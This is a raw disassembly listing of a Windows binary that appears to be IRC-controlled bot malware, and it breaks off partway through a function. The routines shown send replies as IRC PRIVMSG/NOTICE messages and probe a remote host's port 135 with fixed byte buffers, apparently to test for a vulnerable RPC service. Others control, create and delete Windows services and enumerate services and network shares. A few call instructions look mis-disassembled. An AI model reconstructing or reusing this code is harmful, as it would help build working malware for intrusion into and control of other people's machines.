		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_40D4BB

loc_40D49E:				; CODE XREF: sub_40D48D+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_4198F0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D4C1
		inc	esi
		cmp	esi, edi
		jl	short loc_40D49E

loc_40D4BB:				; CODE XREF: sub_40D48D+Fj
		xor	al, al

loc_40D4BD:				; CODE XREF: sub_40D48D+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40D4C1:				; CODE XREF: sub_40D48D+27j
		mov	al, 1
		jmp	short loc_40D4BD
sub_40D48D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D4C5	proc near		; CODE XREF: sub_402DD7+8Bp
					; sub_402DD7+174p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_417B30
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_40D506
		dec	eax
		jz	short loc_40D4E4
		dec	eax

loc_40D4DE:				; CODE XREF: sub_40D4C5+57j
		xor	eax, eax

loc_40D4E0:				; CODE XREF: sub_40D4C5+3Fj
					; sub_40D4C5+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_40D4E4:				; CODE XREF: sub_40D4C5+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_43ADD8
		push	eax
		call	sub_4076CA
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_40D4E0
; ---------------------------------------------------------------------------

loc_40D506:				; CODE XREF: sub_40D4C5+13j
		push	6
		push	1
		push	2
		call	dword_43AE18
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_40D4DE
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_43AD98
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40ADCA
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43AD40
		cmp	eax, edi
		jz	loc_40D622
		push	ebx
		push	48h
		push	offset dword_42E6F4
		push	esi
		call	dword_43ADE8
		cmp	eax, edi
		jz	loc_40D622
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADB0
		cmp	eax, edi
		jz	loc_40D622
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_40D622
		push	ebx
		push	18h
		push	offset dword_42E740
		push	[ebp+arg_4]
		call	dword_43ADE8
		cmp	eax, edi
		jz	short loc_40D622
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADB0
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_40D622
		cmp	[ebp+var_200E],	2
		jnz	short loc_40D622
		push	10h
		push	offset loc_42E75C
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40D48D
		add	esp, 10h
		test	al, al
		jz	short loc_40D602
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_40D622
; ---------------------------------------------------------------------------

loc_40D602:				; CODE XREF: sub_40D4C5+12Fj
		push	10h
		push	offset dword_42E770
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40D48D
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax

loc_40D622:				; CODE XREF: sub_40D4C5+9Bj
					; sub_40D4C5+B2j ...
		push	[ebp+arg_4]
		call	dword_43AE30
		mov	eax, ebx
		pop	ebx
		jmp	loc_40D4E0
sub_40D4C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D633	proc near		; CODE XREF: sub_40ECFA+3Dp
					; sub_40EE72+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_4193FF
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
		leave
		retn
sub_40D633	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D679	proc near		; CODE XREF: sub_401000+8Bp
					; sub_40144A+76p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_40D694
		mov	edi, offset aPrivmsg ; "PRIVMSG"

loc_40D694:				; CODE XREF: sub_40D679+14j
		push	edi
		call	sub_417AB0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_417AB0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset dword_42E784
		push	eax
		call	sub_4172B0
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_40D717
		push	7D0h
		nop
		call	near ptr 2610F41h

locret_40D717:				; CODE XREF: sub_40D679+91j
		leave
		retn
sub_40D679	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D719	proc near		; CODE XREF: sub_40EE72:loc_410F84p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_40D771
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_42E7A8[esi]
		push	edi
		push	eax
		call	sub_40D793
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40D761
		push	edi
		push	off_42E7A4[esi]
		push	offset dword_42E8D4

loc_40D751:				; CODE XREF: sub_40D719+56j
		mov	esi, offset dword_43F868
		push	esi
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_40D78E
; ---------------------------------------------------------------------------

loc_40D761:				; CODE XREF: sub_40D719+2Aj
		push	eax
		call	sub_40D835
		pop	ecx
		push	eax
		push	edi
		push	offset dword_42E89C
		jmp	short loc_40D751
; ---------------------------------------------------------------------------

loc_40D771:				; CODE XREF: sub_40D719+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_43F868
		push	off_42E7A0[eax*4]
		push	offset dword_42E868
		push	esi
		call	sub_4172B0
		add	esp, 0Ch

loc_40D78E:				; CODE XREF: sub_40D719+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_40D719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D793	proc near		; CODE XREF: sub_40D719+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_43AD8C
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_40D7BA
		nop
		call	near ptr 265031Fh
		mov	ebx, eax
		jmp	short loc_40D82F
; ---------------------------------------------------------------------------

loc_40D7BA:				; CODE XREF: sub_40D793+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_43AC80
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_40D7DA
		nop
		call	near ptr 265031Fh
		mov	ebx, eax
		jmp	short loc_40D827
; ---------------------------------------------------------------------------

loc_40D7DA:				; CODE XREF: sub_40D793+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_40D80D
		cmp	eax, 3
		jz	short loc_40D7FE
		jle	short loc_40D820
		cmp	eax, 6
		jg	short loc_40D820
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_43ACE8
		jmp	short loc_40D814
; ---------------------------------------------------------------------------

loc_40D7FE:				; CODE XREF: sub_40D793+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_43AC88
		jmp	short loc_40D814
; ---------------------------------------------------------------------------

loc_40D80D:				; CODE XREF: sub_40D793+4Dj
		push	esi
		call	dword_43ACEC

loc_40D814:				; CODE XREF: sub_40D793+69j
					; sub_40D793+78j
		test	eax, eax
		jnz	short loc_40D820
		nop
		call	near ptr 265031Fh
		mov	ebx, eax

loc_40D820:				; CODE XREF: sub_40D793+54j
					; sub_40D793+59j ...
		push	esi
		call	dword_43AC9C

loc_40D827:				; CODE XREF: sub_40D793+45j
		push	edi
		call	dword_43AC9C
		pop	esi

loc_40D82F:				; CODE XREF: sub_40D793+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_40D793	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D835	proc near		; CODE XREF: sub_40D719+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_40D8EA
		jz	loc_40D8E3
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_40D8AD
		jz	short loc_40D8A3
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_40D899
		dec	ecx
		dec	ecx
		jz	short loc_40D88F
		dec	ecx
		jz	short loc_40D885
		sub	ecx, 51h
		jz	short loc_40D87B
		sub	ecx, 24h
		jnz	loc_40D960	; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D87B:				; CODE XREF: sub_40D835+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D885:				; CODE XREF: sub_40D835+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D88F:				; CODE XREF: sub_40D835+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D899:				; CODE XREF: sub_40D835+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D8A3:				; CODE XREF: sub_40D835+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D8AD:				; CODE XREF: sub_40D835+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_40D8DC
		dec	ecx
		jz	short loc_40D8D5
		dec	ecx
		jz	short loc_40D8CE
		dec	ecx
		jnz	loc_40D960	; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_40D952
; ---------------------------------------------------------------------------

loc_40D8CE:				; CODE XREF: sub_40D835+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D8D5:				; CODE XREF: sub_40D835+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D8DC:				; CODE XREF: sub_40D835+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D8E3:				; CODE XREF: sub_40D835+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D8EA:				; CODE XREF: sub_40D835+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_40D960 ; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_40D94D
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_40D960 ; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_40D9A1[ecx]
		jmp	off_40D979[ecx*4] ; switch jump

loc_40D90E:				; DATA XREF: ___:off_40D979o
		push	offset aTheSpecifiedDa ; jumptable 0040D907 case 7
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D915:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceDepe ; jumptable 0040D907 case 17
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D91C:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceDe_0 ; jumptable 0040D907 case 10
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D923:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceHasB ; jumptable 0040D907 case 0
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D92A:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheSpecified_0 ; jumptable 0040D907 case 2
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D931:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceCoul ; jumptable 0040D907 case 11
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D938:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceHa_0 ; jumptable 0040D907 case 14
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D93F:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheRequested_1 ; jumptable 0040D907 case 3
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D946:				; CODE XREF: sub_40D835+D2j
					; DATA XREF: ___:off_40D979o
		push	offset aTheServiceHasN ; jumptable 0040D907 case 4
		jmp	short loc_40D952
; ---------------------------------------------------------------------------

loc_40D94D:				; CODE XREF: sub_40D835+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."

loc_40D952:				; CODE XREF: sub_40D835+41j
					; sub_40D835+4Bj ...
		push	offset dword_43F1A8
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	short loc_40D973
; ---------------------------------------------------------------------------

loc_40D960:				; CODE XREF: sub_40D835+36j
					; sub_40D835+89j ...
		push	eax		; default
					; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
		push	offset dword_43F1A8
		call	sub_4172B0
		add	esp, 0Ch

loc_40D973:				; CODE XREF: sub_40D835+129j
		mov	eax, offset dword_43F1A8
		retn
sub_40D835	endp

; ---------------------------------------------------------------------------
off_40D979	dd offset loc_40D923	; DATA XREF: sub_40D835+D2r
		dd offset loc_40D92A	; jump table for switch	statement
		dd offset loc_40D93F
		dd offset loc_40D946
		dd offset loc_40D90E
		dd offset loc_40D91C
		dd offset loc_40D931
		dd offset loc_40D938
		dd offset loc_40D915
		dd offset loc_40D960
byte_40D9A1	db	0,     9,     1,     2 ; DATA XREF: sub_40D835+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D9B3	proc near		; CODE XREF: sub_40EE72+2094p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_43AD8C
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_40D9EB:				; CODE XREF: sub_40D9B3+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_43AD58
		test	eax, eax
		jnz	short loc_40DA25
		call	near ptr 265031Fh
		nop
		cmp	eax, 0EAh
		jnz	loc_40DAD9

loc_40DA25:				; CODE XREF: sub_40D9B3+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_40DAD0
		lea	esi, [ebp+var_188]

loc_40DA36:				; CODE XREF: sub_40D9B3+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_40DA7F
		dec	eax
		jz	short loc_40DA78
		dec	eax
		jz	short loc_40DA71
		dec	eax
		jz	short loc_40DA6A
		dec	eax
		jz	short loc_40DA63
		dec	eax
		jz	short loc_40DA5C
		dec	eax
		jz	short loc_40DA55
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA55:				; CODE XREF: sub_40D9B3+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA5C:				; CODE XREF: sub_40D9B3+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA63:				; CODE XREF: sub_40D9B3+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA6A:				; CODE XREF: sub_40D9B3+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA71:				; CODE XREF: sub_40D9B3+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA78:				; CODE XREF: sub_40D9B3+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_40DA84
; ---------------------------------------------------------------------------

loc_40DA7F:				; CODE XREF: sub_40D9B3+87j
		push	offset aStopped	; "    Stopped"

loc_40DA84:				; CODE XREF: sub_40D9B3+A0j
					; sub_40D9B3+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_40DA36

loc_40DAD0:				; CODE XREF: sub_40D9B3+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_40D9EB

loc_40DAD9:				; CODE XREF: sub_40D9B3+6Cj
		push	[ebp+var_C]
		call	dword_43AC9C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_40D9B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DAF0	proc near		; CODE XREF: sub_40EE72:loc_410FB4p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_40DB8A
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_40DB19
		dec	eax
		jnz	short loc_40DB6A
		push	edi
		push	0
		call	sub_40DCC3
		pop	ecx
		pop	ecx
		jmp	short loc_40DB66
; ---------------------------------------------------------------------------

loc_40DB19:				; CODE XREF: sub_40DAF0+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_40DB58
		push	24h
		push	edi
		call	sub_418F50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DB58
		push	57h
		pop	eax

loc_40DB30:				; CODE XREF: sub_40DAF0+78j
		push	eax
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_43F464
		push	off_42E7A0[eax*4]
		push	offset dword_42EE98
		push	esi
		call	sub_4172B0
		add	esp, 14h
		jmp	short loc_40DBAA
; ---------------------------------------------------------------------------

loc_40DB58:				; CODE XREF: sub_40DAF0+2Dj
					; sub_40DAF0+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_40DC17
		add	esp, 0Ch

loc_40DB66:				; CODE XREF: sub_40DAF0+27j
		test	eax, eax
		jnz	short loc_40DB30

loc_40DB6A:				; CODE XREF: sub_40DAF0+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_43F464
		push	off_42E7A4[eax*4]
		push	offset dword_42EE6C
		push	esi
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_40DBAA
; ---------------------------------------------------------------------------

loc_40DB8A:				; CODE XREF: sub_40DAF0+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_43F464
		lea	eax, [eax+eax*2]
		push	off_42E7A0[eax*4]
		push	offset dword_42EE38
		push	esi
		call	sub_4172B0
		add	esp, 0Ch

loc_40DBAA:				; CODE XREF: sub_40DAF0+66j
					; sub_40DAF0+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40DAF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DBB0	proc near		; CODE XREF: sub_415F88+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_40DBBD
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40DBBD:				; CODE XREF: sub_40DBB0+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_424150
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_43F664, 1
		mov	ebp, eax
		jnz	short loc_40DBFA
		or	byte_43F664, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	dword_43F404, eax

loc_40DBFA:				; CODE XREF: sub_40DBB0+32j
		push	esi
		push	esi
		push	ebp
		push	dword_43F404
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_43F404
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_40DBB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC17	proc near		; CODE XREF: sub_40DAF0+6Ep
					; sub_4162AC+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_40DC82
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40DC82
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_418F50
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_40DC82
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_43AC98
		pop	edi
		leave
		retn
sub_40DC17	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DC82	proc near		; CODE XREF: sub_40DC17+Ap
					; sub_40DC17+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_40DC8F
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40DC8F:				; CODE XREF: sub_40DC82+9j
		push	ebx
		push	esi
		mov	esi, dword_424070
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40DC82	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DCC3	proc near		; CODE XREF: sub_40DAF0+20p
					; sub_415F88+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40DC82
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40DC82
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_43AC70
		pop	esi
		retn
sub_40DCC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCE6	proc near		; CODE XREF: sub_40EE72+2169p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_40DC82
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 18h

loc_40DD1F:				; CODE XREF: sub_40DCE6+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_43ACE4
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_40DD82
		cmp	ebx, 0EAh
		jz	short loc_40DD82
		push	ebx
		push	ebx
		call	sub_40E4B7
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset dword_42EEF4
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 24h
		jmp	short loc_40DDEF
; ---------------------------------------------------------------------------

loc_40DD82:				; CODE XREF: sub_40DCE6+5Dj
					; sub_40DCE6+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_40DDE6
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]

loc_40DD90:				; CODE XREF: sub_40DCE6+FCj
		push	dword ptr [esi+10h]
		call	dword_43AC8C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_40DDA7
		mov	eax, offset aNo	; "No"

loc_40DDA7:				; CODE XREF: sub_40DCE6+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
